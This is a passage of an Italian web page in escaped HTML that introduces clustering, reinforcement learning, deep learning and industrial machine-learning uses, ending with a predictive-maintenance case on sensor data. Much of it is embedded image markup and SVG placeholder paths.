05l2-3%202-1%201-1c0-2-3-3-6-2v-7h3l3-2h2l3%201c1-2%206-2%206-1l2%201%201%201c-1%203%202%202%204-2l3-4%201-2-3-1c-2%201-2%201-2-2%201-4%200-4-4-3h-5v-1l2-1%202-1h4c0-1%200-2-5-2-4-1-4-1-4%201m28%203l-3%202c-4%200-6%203-2%203%203%200%201%202-3%203-4%200-4%201-4%203l1%203h2c0%202%201%202%204%200h4c2%203%204%202%204%200l1-4c0-2-3-3-4-1h-1a319%20319%200%2000-2-4v-1l3%201h2v-2l-1-2v-2l-1%201m62%200c-1%200-1%204%201%206l1%203c0%202%203%203%205%202h1c1%201%207%204%209%203%202%200%202-3%200-2l-5-3c-2-1-3-2-4-1s-5%200-4-1l-1-2c-1-1-1-1%201-1l3-1-1-2-2-1h-4m-55%202h3c1-1%201-1%202%201l2%202v1h-3l-2%202-2%202-1%202c-3%200-2%201%201%205l3%203%203-2%203-3v-3l1%201h2v-2l1%202c1%201%201%201%202-1v-3h-2c-1-1-1-1-1%201h-1l-3-2c-2%200-3-1-1-1l2-2c0-1%200-2-1-1h-1c1-2-2-4-5-4l-2%202m-64%207c-1%201-3%207-2%208l-2%205c-3%204-2%206%201%204%201-2%202-2%204%201%202%201%203%202%204%201l2-1c2%200%202%200%201-2l-2-1-4-1c-2%200-2%200%200-1s3-4%201-4h-4l2-2c1-2%202-3%201-4v-2l1-1c0-2-1-2-3%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/9eecd1dac8423c548f98ebe8850b17cf/c85cb/clustering-topic.webp 300w,/static/9eecd1dac8423c548f98ebe8850b17cf/e88ff/clustering-topic.webp 600w,/static/9eecd1dac8423c548f98ebe8850b17cf/426ac/clustering-topic.webp 700w&quot; sizes=&quot;(max-width: 700px) 100vw, 700px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/9eecd1dac8423c548f98ebe8850b17cf/5a46d/clustering-topic.png 300w,/static/9eecd1dac8423c548f98ebe8850b17cf/0a47e/clustering-topic.png 600w,/static/9eecd1dac8423c548f98ebe8850b17cf/8c557/clustering-topic.png 700w&quot; sizes=&quot;(max-width: 700px) 100vw, 700px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 4 - Clustering per Topic Modeling&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/9eecd1dac8423c548f98ebe8850b17cf/8c557/clustering-topic.png&quot; title=&quot;Figura 4 - Clustering per Topic Modeling&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 4 - Clustering per Topic Modeling&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Un problema di clustering potrebbe essere quello di raggruppare documenti di un corpus, in insiemi di documenti che trattano
lo stesso topic.&lt;br/&gt;
I documenti potrebbero essere rappresentati nello spazio sotto forma di vettori di parole, e poi raggruppati tra di loro in
base a una qualche forma di similarità, che è in grado di relazionare documenti che contengono parole e espressioni
comuni.&lt;/p&gt;&lt;h2 id=&quot;reinforcement-learning&quot;&gt;Reinforcement Learning&lt;/h2&gt;&lt;p&gt;Il terzo tipo di apprendimento automatico è l’Apprendimento per Rinforzo. L’obiettivo di questo tipo di apprendimento
è quello di costruire un sistema (agente) che attraverso le interazioni con l’ambiente migliori le proprie performance.&lt;br/&gt;
Per poter migliorare le funzionalità del sistema vengono introdotti dei rinforzi, ovvero segnali di ricompensa.&lt;br/&gt;
Questo rinforzo non è dato dalle label (etichette) o dai valori corretti di verità, ma è una misurazione sulla qualità delle azioni intraprese dal sistema.
Per questo motivo non può essere assimilato ad un apprendimento supervisionato.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figura 5 - Esempio di Reinforcement Learning&quot; title=&quot;Figura 5 - Esempio di Reinforcement Learning&quot; src=&quot;/linked/32aa9f20212b6c5039a8f7605bf7ec2c/reinforcement.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 5 - Esempio di Reinforcement Learning&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Il reinforcement learning è molto utilizzato per l&amp;#x27;addestramento nella navigazione dei robot. In figura è mostrato l&amp;#x27;esempio
dell&amp;#x27;addestramento tramite tecniche di &lt;strong&gt;Deep Reinforcement Learning&lt;/strong&gt; di un robot aspirapolvere. Gli oggetti rossi e verdi
restituiscono delle ricompense negative o positive quando il robot li aspira.&lt;/p&gt;&lt;h1 id=&quot;deep-learning&quot;&gt;Deep Learning&lt;/h1&gt;&lt;p&gt;Il &lt;strong&gt;Deep Learning&lt;/strong&gt; è una grande famiglia di metodi per il machine learning basati su &lt;strong&gt;reti neurali artificiali&lt;/strong&gt;.
Le reti neurali artificiali sono dei modelli computazionali basati su una semplificazione delle reti neurali biologiche.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:481px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/121271467a65b54a940c4014c0df7f3c/d024a/nn.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:77%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;309\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20309\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M98%2027l-1%2010-1%203-1%201c-1-1-1-1%200%200l-1%204v3c1%201%201%200%202-4l2-4v9l-1%209c-1%200-2%201-1%202l-1%204v1c1%201%202%200%202-1%201-1%201%202%201%206%200%207%200%208-2%209s-2%201-1%203c1%201%200%203-1%205l-1%204%202-3c3-6%203-5%203%204l-1%208h-4c-2%201-2%201%200%201%203%200%203%203%201%207-2%201-3%203-2%203l3-3%203-3v36l-1%2038c-3%202-3%205%200%205%201-1%201%200%201%207s-1%209-2%209c-3%200-3%201%200%202%202%201%202%202%202%2010%200%207-1%2010-2%2010h-1v3l2%201%201%209-1%208-1%202%201%202%201%207%201%208h22v-7l1-8%202-6c0-2%200-2%201-1l1-1c-1-1%203-14%204-15v-3l1-1%201-2%201-2c-3%201-1-3%204-8v-2h-1c-1%201-2%202-3%201l-1%201%201%201v1l-1%201-2%203-1%203v2l-2%204-3%2012-3%209v-9c0-8%200-9%202-10%202%200%202-1%201-1v-1l1-3c0-5%206-16%208-16l3-3h-2c-2%201-2%201-1-2%200-3%201-4%202-4l1-1%202-1h1l-1-2v-2c0-2%200-2-1%200l-2%201c0-1-3-2-3%200l1%201c2-1%202%202%200%203l-3%203v2c2-2%201%201-1%203l-2%202v3a205%20205%200%2000-6%2015v-7c0-8%200-8%202-8s2%200%201-1v-1h-1c-2%200-2%200-1-2%202-2%203-5%204-9v-3l-1%203-2%204-1%202-1-8c0-8%200-9%202-9l1-1%201-1v-1c-2%200-2%200%200-3v-3c0-1-2%200-2%202-2%202-2-1-2-34s0-37%202-36l1%203h1c1-1%201-2-1-4-2-3-3-4-1-3l2-1c0-2-1-2-2-1-2%200-2-1-2-8v-8l4%209h1c2-1%202-2-1-7s-3-6-1-7c1-1%201-1-1-1s-2%200-2-8c0-7%200-7%202-4l2%206%201%202v2c0%202%202%206%204%207h4l-3-2c-3-1-4-2-2-3v-3l-1-1v-1l-1-1-1-1-1-5c-3-6-2-6%204%201%205%206%206%209%203%209l-1%201h7l-2-4c-3-3-4-5-2-5l-1-2-2-3-1-4-2-5c-1-3-1-4-2-3v4l1%201v1c-2%202-2%202%200%202%202%201%204%204%202%204-1%200-6-4-5-5l-1-1c-2%200-2-2-2-9v-9l2%205%203%206-1-4v-8l-3-3-1-8v-7H98v7m9%202c-8%204-2%2016%206%2012%205-2%205-10-1-13-3-1-2-1-5%201m-1%2023c-5%204-3%2012%204%2012%206%200%209-7%205-12-3-3-6-3-9%200m65%202l-1%207c0%205%200%206-2%205-2%200-3%203-1%206%201%202-4%2015-6%2017v3h1c1%201%200%201-3%201l-2%202a1450%201450%200%20015%207l1-2%202-8c1%200%203%205%202%206l-1%202-2%203c-2%202-2%202-1%204%202%202%200%201-3-1l-3-2%201%203c3%202%202%204-1%203-2-1-2%200%200%201%201%202%200%205-1%204l-1%201c1%201%200%203-1%204-2%202-2%202-2%200v-2l-1%202c0%203-1%202-4-5-1-4-3-6-3-5l1%205%202%205%201%202%201%204v2c-2%200-3-3-2-4l-1-1-2-5-2-6-1%202%201%204%203%207%202%207c0%204-2%202-3-3l-3-7c-2-3-1%202%200%205%201%201%202%203%201%204l1%203c3%202%202%205%200%204-2%200-2%204%201%207v4l-1%201-1%203c0%204%202%204%203%200%200-3%202-4%202-1l-2%207-2%207-4%2011v1l3%202h1c-1-2%201-4%203-4h2c1-1%200-2-2-2l-3%201-1%201%203-13%201-2%201%202c0%203%202%203%202%200%200-1%200-2%201-1l1%202%201%202v-2l1-1c2%201%202%200%202-2v-1c1%202%202%200%201-3v-2l1%201h2l1%201-1-3-1-5v-2l-1-2h1l2%201-1-8v-9c-2%202-4%201-4-2v-6l3-5c2-5%203-5%204-1v2l2-3c2-5%203-5%203-1v6l-1%202-2%204v4c0%201%202-1%203-5l3-6v23l-1%2024-4-9-4-9%202%206%201%207%201%203c4%205%202%208-3%207l-1%201h-2l-1-1%202%204h1c0-1%200-2%201-1v4l-1%201-1%202-1%201c-1-1-1%200-1%201l-1%201c-1-1-1%200-1%201l1%202%201%202v2l4%207c6%2013%206%2014%205%2016-2%203-2%203%200%204h2l1%206v6h23v-7l1-8%201-2%201-5%202-4-3%204-2%205v-11c0-8%200-10%202-10l1-1h-1l1-3%202-6-2%203-3%205v-19h11l-5-1h-5l2-3%201-3-2%202c-2%202-2%202-2-23s0-25%202-23c2%203%203%201%200-2v-3l-1-1-1-9v-8l2%204%203%204-1-5-2-5v-1c-2%200-2-1-2-10V73l2%205%203%203-1-4-1-3%201-1v-1h-1l-1-1v-1c-2-1-2-3-2-9v-7l-11-1-11%201m7%209c-6%203-4%2013%203%2013%206%200%209-7%205-12-3-2-4-2-8-1m-73%2011c-3%203-3%207%201%2010%203%203%206%203%209%200%206-7-3-16-10-10m136%208l-1%206c-2-2-3%201-2%203s0%203-1%206-2%204-1%205l3-4%202-4v8c0%208%200%209-2%209l-2%204v8c4-6%204-6%204%2019%200%2019%200%2024-1%2023-3-5-4-6-4-3l1%203c2%201%201%204-1%204v1c1%200%202%200%201%201l2%202c2%200%202%201%202%207v8l-2-4-2-2v3c1%202%202%203%201%204-1%202%201%205%202%204l1%206v7h23v-8l1-8%201-1-1-1v-21c-1%201-1-9-1-37a438%20438%200%20010-47v-7h-23v6m-64%204c-4%203-3%2011%202%2012%206%202%2011-5%208-11-2-2-7-3-10-1m70%201c-2%204-1%208%202%2010%206%205%2014-3%209-9-3-4-8-4-11-1M27%20142v54h23v-6c0-6%200-6%202-4%203%203%203%201%201-2s-2-3%200-6l4-5v-1l1-2c1%200%201-1-1-2l-1-2h3l3%201-3-3-2-3-2%202c-1%203-1%203-2%201-2-2-2-2-1-4l1-3h1l1-1v-4c2-2%202-3%200-3l-1%202v1l-2%202c-1%203-2%202-2-13l1-19%201-1%202-1%202%201%202-1v-4l1-3-1%201-1%201%201-2v-2l-1%201v-1c0-2%200-2-1-1-1%202-2%201-2-2l-2-5c-1-2-1-2%201-5%201-2%202-3%200-3l-1%201-1%201-1-5v-5H27v55m1%200v53h21V88H28v54m5-46c-4%204-4%208%200%2011%208%208%2019-3%2011-11-4-4-7-4-11%200m72%200c-4%204-1%2011%205%2011%203%200%207-3%207-6%200-6-8-9-12-5m-71%201c-3%202-2%207%200%209%204%204%2011%201%2011-5%200-5-8-8-11-4m279%208l-1%207c-2-1-2%204-1%205%202%202%202%206%202%2028s0%2025-1%2024l-2-1v5l1%203c2-1%202%200%202%204v4h24v-84l-12-1h-12v6m10%201c-8%202-6%2013%202%2013%205%200%208-7%205-11-1-1-5-3-7-2m-146%203c-5%204-2%2012%205%2012%205%200%208-8%204-12-3-2-6-3-9%200m71%200c-4%204-1%2012%205%2012l5-2c6-7-3-16-10-10m-215%207c-4%204-4%208%200%2011%208%208%2019-3%2011-11-4-4-7-4-11%200m1%201c-3%202-2%207%200%209%204%204%2011%201%2011-5%200-5-8-8-11-4m-2%2040c-5%205-1%2013%207%2013%207%200%2011-9%205-14-3-3-8-3-12%201m2%200c-3%203-3%208%200%2010%205%204%2011%201%2011-5s-7-9-11-5m144%205c-6%203-4%2013%203%2013s9-8%204-12c-3-2-3-2-7-1m70%201c-3%203-3%207%201%2010%203%203%206%202%209-1%206-7-4-15-10-9m72%202c-3%202-2%207%200%209%204%204%2011%201%2011-5%200-5-8-8-11-4M33%20177c-4%204-4%208%200%2011%207%208%2019-3%2012-10-4-5-8-5-12-1m72-1c-3%203-3%207%201%2010%203%203%206%203%209%200%206-7-3-16-10-10m-71%202c-4%204-2%2010%203%2012%205%201%2010-8%206-12-2-3-7-3-9%200m142%208c-2%203-2%208%200%2010%204%204%2012%200%2012-5%200-6-8-9-12-5m72%200c-4%204-1%2011%205%2011%203%200%207-4%207-6%200-6-9-9-12-5m63%207l-2%201-2%202c0%203-2%203-2-1-1-2-1-2-1%201s1%204%204%203l2-2c0-2%200-2%201%200l2%202%201%202%201%201%201-2%201-1h4c2%201%205%200%205-2s0-2%201%200l2%202v-4l-1-2c-2%200-4%201-4%203l-1%202-1-3c0-2%200-2-1-1h-2c-1-2-4%200-5%202s-1%202-1%200c0-3-1-4-2-3m-206%205c-3%203-3%207%201%2010%203%203%206%203%209%200s3-6%200-9c-3-4-7-4-10-1m73%209c-6%203-4%2013%203%2013s9-8%204-12c-3-2-3-2-7-1m-73%2013c-4%204-1%2011%205%2011%202%200%204%200%205-2%205-6-4-15-10-9m0%2022c-2%202-3%206%200%209%202%203%208%203%2010%200%205-7-4-15-10-9\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/121271467a65b54a940c4014c0df7f3c/c85cb/nn.webp 300w,/static/121271467a65b54a940c4014c0df7f3c/1c567/nn.webp 481w&quot; sizes=&quot;(max-width: 481px) 100vw, 481px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/121271467a65b54a940c4014c0df7f3c/5a46d/nn.png 300w,/static/121271467a65b54a940c4014c0df7f3c/d024a/nn.png 481w&quot; sizes=&quot;(max-width: 481px) 100vw, 481px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 6 - Esempio di rete neurale&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/121271467a65b54a940c4014c0df7f3c/d024a/nn.png&quot; title=&quot;Figura 6 - Esempio di rete neurale&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 6 - Esempio di rete neurale&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Come è possibile vedere in Figura 6, possono essere formate da molti nodi, o neuroni, e da più strati di neuroni. Teoricamente
più si aumenta il numero di neuroni e strati, più la rete è in grado di rappresentare funzioni non lineari più complesse.&lt;br/&gt;
Stiamo parlando di modelli computazionali teoricizzati già a partire dagli anni 70, ma per i quali a quei tempi non si possedeva
ancora abbastanza capacità di calcolo per poterli utilizzare e applicare.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Oggi che le capacità di calcolo e storage sono aumentate a dismisura, sono tornate di moda, e vengono utilizzate in molti contesti dell&amp;#x27;intelligenza artificiale.&lt;br/&gt;
Se utilizzate sotto la forma di reti con molti strati, si parla appunto di deep learning, perchè si utilizzano reti molto profonde.&lt;br/&gt;
La capacità di riuscire a formulare funzioni non lineari molto complesse attraverso queste reti, ha fatto si che vengano ormai
largamente utilizzate in tutta una serie di task, molto avanzati, legati soprattutto alla &amp;quot;percezione naturale&amp;quot;,
come la &lt;a href=&quot;https://it.wikipedia.org/wiki/Visione_artificiale&quot;&gt;Computer Vision&lt;/a&gt; e il
&lt;a href=&quot;https://it.wikipedia.org/wiki/Elaborazione_del_linguaggio_naturale&quot;&gt;Natural Language Processing&lt;/a&gt;.&lt;br/&gt;&lt;/p&gt;&lt;h1 id=&quot;applicazioni-del-machine-learning-nellindustria&quot;&gt;Applicazioni del Machine Learning nell&amp;#x27;industria&lt;/h1&gt;&lt;p&gt;Il Machine Learning e l&amp;#x27;insieme delle tecniche citate, possono essere molto utili nell&amp;#x27;ambito dell&amp;#x27;industria,
al fine ottimizzare e migliorare il processo di produzione e vendita.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c0c1a4229b81f2b729a3681474ff3fc0/f0811/industry-applications.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:50%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;200\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20200\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M238%2048a418%20418%200%20002%2044l1-2c12-5%2013-5%2014-9l6-13v3c-3%205-2%205%203%200%204-4%208-6%205-2v1c2%200%203-3%203-9v-6h3c15-1%2021%202%2021%2011l1%204a450%20450%200%200039-16c-1-2%200-3%202%200l2%201-1-2c-2-3%200-4%202-1%204%203%205%203%202%200s-2-4%202-1c3%202%204%202%204%200h1c1%201%202%200%205-1l4-1%202%207c3%208%203%209-1%2010-4%200-4%202-1%204l3%202-3%202c-4%203-8%205-9%203v-2c0-1-1-2-3-2a407%20407%200%2000-66%2021l78-1h6V4H238v44m104-29v8h15v-7c0-8-2-10-10-10h-5v9m-40%2054c-2%201-2%202-2%205v3l-1-3-1-3c-2%200-5%201-5%203h-1c-3-2-6%200-5%204l2%204%201-1c-1-1%200-2%201-2l2-2c0-2%200-2%202%201%201%202%201%202%201%200s1-3%203%200h2l1-1%205-1-2-1h-2v-1l2-1-1-1c-3%201-3%200-1-2l1-1h-2M64%20150v42h118v-84H64v42m203%203v45h127v-90H267v45m-155-11l-1%206v6h12v-5c0-5%200-5%202-5s2%200%202%205c0%204%200%205%202%205l1-5c0-4%200-5%202-5l1-2-7-1-7%201v5c0%205%200%205-2%204-3%200-3-1-3-5s-1-6-2-4m-36%202c-3%204-2%207%204%2010l5%203c2%200%201-2-1-2-2-1-2-1%200-4s2-3%201-6c-2-4-7-4-9-1m240%2021l-2%202-3%201h-2c-2-2-5-1-6%201s-1%203%201%204c2%202%205%202%205-1l2%201c1%201%203%202%204%201%203%200%203-1%203-6l-1-5-1%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c0c1a4229b81f2b729a3681474ff3fc0/c85cb/industry-applications.webp 300w,/static/c0c1a4229b81f2b729a3681474ff3fc0/e88ff/industry-applications.webp 600w,/static/c0c1a4229b81f2b729a3681474ff3fc0/92f8c/industry-applications.webp 1200w,/static/c0c1a4229b81f2b729a3681474ff3fc0/2c416/industry-applications.webp 1367w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c0c1a4229b81f2b729a3681474ff3fc0/5a46d/industry-applications.png 300w,/static/c0c1a4229b81f2b729a3681474ff3fc0/0a47e/industry-applications.png 600w,/static/c0c1a4229b81f2b729a3681474ff3fc0/c1b63/industry-applications.png 1200w,/static/c0c1a4229b81f2b729a3681474ff3fc0/f0811/industry-applications.png 1367w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 7 - Applicazioni nell&amp;#x27;industria&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c0c1a4229b81f2b729a3681474ff3fc0/c1b63/industry-applications.png&quot; title=&quot;Figura 7 - Applicazioni nell&amp;#x27;industria&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 7 - Applicazioni nell&amp;#x27;industria&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Alcune possibili applicazioni.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Manutenzione predittiva&lt;/strong&gt;: prevedere guasti e anomalie sui macchinari con l&amp;#x27;obiettivo di gestire in modo efficiente
la manutenzione, con un ritorno importante in termini di riduzione dei costi.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Previsione delle vendite&lt;/strong&gt;: prevedere i livelli di vendita futuri così da poter ottimizzare il processo produttivo.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Controllo di qualità del prodotto (Quality 4.0)&lt;/strong&gt;: controllare la qualità del prodotto andando a rilevare difetti di produzione.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Previsione dei consumi energetici&lt;/strong&gt;: prevedere i consumi energetici futuri, con vantaggi sia per chi deve farne richiesta, sia per chi
è fornitore di energia.&lt;/li&gt;&lt;/ul&gt;&lt;h1 id=&quot;applicazioni-in-manutenzione-predittiva&quot;&gt;Applicazioni in manutenzione predittiva&lt;/h1&gt;&lt;p&gt;Segue un&amp;#x27;esempio di applicazione di algoritmi e tecniche di Supervised Learning per il caso d&amp;#x27;uso della manutenzione predittiva.&lt;br/&gt;
I dati utilizzati per gli addestramenti sono dati sensoristici, provenienti da macchinari reali, raccolti tramite la piattaforma &lt;a href=&quot;https://liferaypartneritalia.smc.it/liferay-iot-experience-platform&quot;&gt;IoT Experience&lt;/a&gt; di SMC.
L&amp;#x27;obiettivo è quello di realizzare dei sistemi in grado di:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;prevedere entro quanto tempo si potrebbe verificare un guasto sul macchinario (Regressione);&lt;/li&gt;&lt;li&gt;prevedere se entro una certa finestra temporale si potrebbe verificare un guasto (Classificazione binaria).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Nel provare a realizzare tutto ciò, il machine learning ci viene in aiuto, grazie all&amp;#x27;utilizzo di algoritmi e modelli che sono
in grado di apprendere le correlazioni che intercorrono tra i dati sensoristici e i guasti avvenuti sui macchinari.&lt;/p&gt;&lt;h3 id=&quot;costruzione-del-dataset&quot;&gt;Costruzione del dataset&lt;/h3&gt;&lt;p&gt;Per costruire il dataset su cui addestrare gli algoritmi, è stato necessario acquisire i dati relativi ai guasti storici che si sono verificati sui macchinari, così come tutto
lo storico della telemetria nel periodo di tempo precedente ai guasti considerati.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a8c81f1f9c4e055ee6fb88a68ff44515/4e286/dati.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.00000000000001%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;220\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20220\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M376%205l-2%204h-47a12972%2012972%200%2000-92%202l-2%204-1%204h-28l-28%201h57l2-4%203-4c69%200%20137-2%20138-3l2-4%201-3-3%203M175%2021v2l-1%201-4%204-1%203h-30l-2%204-1%203h-23c-25%200-23-1-25%206l1%202%201-3c1-4%201-4%2026-4l21%201%202-4%201-4h15c15%200%2015-1%2017-3l3-4%201-3c0-2-1-2-1-1M50%2048l-9%201-7%201c0%202%2016%201%2017%200%200-2%203-2%2019-2l18-1c0-2-37-1-38%201m118%2011v36l-4%201-2%202h5c2%200%202-1%202-5%200-5%200-5%201-1%200%204%202%208%203%208l2-3c1-2%201-2%202%200%201%203%203%204%205%201s2-4-1-2c-1%201-1%201-3-1-1-2-4-2-4%201%200%201-2%202-2%200l-1-21-1-20-2%204m157%2036l-2%201h-3l-5%201c-3-1-3-1-2%201%202%202%207%202%208%200h2c0%201%203%202%203%200h10c7%201%2011%200%2013-1%203-1%204-1%205%201%202%202%202%202%203%201h3c2%202%202%202%204%200l4-2%202%201c1%200%202%201%202%203%201%204%203%203%204-1%200-2%201-3%202-3l2-1-2-1c-1%200-3%201-3%203-2%202-2%202-2%200l-3-2-2-1-3%201c-3%202-8%202-11-1h-3c-2%202-21%202-22%200h-4m-173%202h-2c-4-1-13%200-16%202h-2l-3-1h-3l-4-1c-3%202-17%202-20%200h-8l-5%201-2%201-1%203v-3c0-2%200-2-7-2-6-1-8%200-8%201l7%201c6-1%206-1%207%202%201%202%202%203%203%200l5-1%203-1h4c4%201%2022%202%2024%201h4l3%201h5c5-3%207-3%207-1h2c1-2%201-2%204-1%203%202%203%202%204%200l2-1%203-1c1-1%200-2-2-2l-4%202m-89%2010l-2%201-3%202-2%201-3%201c-2%202-2%202-2%200l-3-1c-3%201-4%201-4-1s-3-1-4%202l-1%203v-4l-1-3c-1-1-2%202-1%203l-1%201-1-1h-1v1l1%204%201%203%201-3c0-2%200-2%201-1%202%202%204%201%204-2h1l4%201c3-1%203%200%204%203%200%204%201%203%202-1%201-3%203-4%203-1%201%201%201%201%201-1%201-2%204-4%204-1l1%201%202%202%201%204v-3c1-3%204-5%204-3h1l3-1%202%201%202%202%201%201c0-2%202-3%204-1%201%201%201%201%201-1%201-4%202%2016%202%2028l1%2012c2%200%203-10%203-25%200-12%201-19%204-18l2-1h2c1%201%201%201%201-1%200-3-2-3-3-1s-1%202-3%200c-2-3-4%204-5%2021v15l-1-17c-1-17-2-24-4-18%200%203-1%204-2%201h-2c-1%201-1%201-1-1l-1-2-1%202-1%202-2-2c0-2-2-3-2-1h-1c0-2-2-1-2%201%200%203-2%202-3-2l-1-1m74%203c0%204-2%207-2%204l-2-2-4-1c-1-2-3-2-3%200h-5l-8%201c-1%201-2%201-3-1-1-1-1-1-2%201l-1%202v-2c-1-2-1-2-2-1s-2%202-3%201h-3c-2%201-2%201-1%202h4c2%201%202%201%203-1%201-1%201-1%201%202%201%203%203%204%203%202s1-2%204-2l1-1c1-2%206-1%206%200h2c1-2%201-2%203-1%201%202%201%202%202%201%200-3%202-2%202%201%201%202%203%203%203%201s2-3%202-2l1%2018c0%2029%202%2025%203-8%200-10%200-11%203-8%201%201%201%201%201-1s2-2%204%200h2c1-2%201-2%203%200%202%203%203%203%203-1v-2l1%203%202%201%202-1%201-2%201%201%202%203c2%201%202%201%202-1l1-3c1-1%202%208%202%2027%201%2013%202%2020%202%2011l1-16%201-11v14a392%20392%200%20012%207c0-6%200-9%201-8l1%208%201%207%201-6a508%20508%200%2001-4-27c0%205%200%206-1%202-1-14-3-16-3-4v8l-1-6c-1-7-2-10-4-10l-1%201-1%204-1-2c0-3-1-4-4-1-2%203-2%203-2%201l-1-3c-2-1-2-1-2%202v4l-2-3c-2-2-2-2-3%200h-2l-1-2h-2c0-1-1-1-1%201h-1l-1-2-2-1c-1-1-1%200-1%202m96